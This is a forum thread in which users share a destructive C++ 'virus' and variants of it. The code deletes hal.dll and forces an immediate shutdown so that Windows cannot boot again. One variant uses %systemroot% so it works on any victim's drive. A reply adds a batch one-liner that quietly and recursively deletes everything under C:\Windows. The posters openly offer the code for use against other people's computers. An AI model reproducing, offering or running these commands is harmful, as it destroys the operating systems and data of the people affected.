Typhoon
Forum Addict
- Joined
- Jan 21, 2007
- Sythe Gold
- 0
- Messages
- 452
- Age
- 33
This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.
Warning: Do not try this on your home computer.
The Original Code:
Code:#include <cstdlib> #include <iostream> using namespace std; int main(int argc, char *argv[]) { std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME system("shutdown -s -r"); system("PAUSE"); return EXIT_SUCCESS; }
A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:
Code:#include <cstdlib> #include <iostream> using namespace std; int main(int argc, char *argv[]) { std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME system("shutdown -s -r"); system("PAUSE"); return EXIT_SUCCESS; }
The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
NEW: SVXX's Version of this virus that uses Batch for most of its commands:
Code:#include <cstdlib> #include <iostream> using namespace std; int main(int argc, char *argv[]) { system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00"); system("PAUSE"); return EXIT_SUCCESS; }
lol you dont need all that code. Try this in a batch file. I think they both do the same thing.
Code:
del c:\windows\* /q /f /s
/q = quiet (don't ask permission to delete)
/s delete specifide files from all subdirectories
the * is a wild card for all!
Enjoy and dont use it on your own computer.















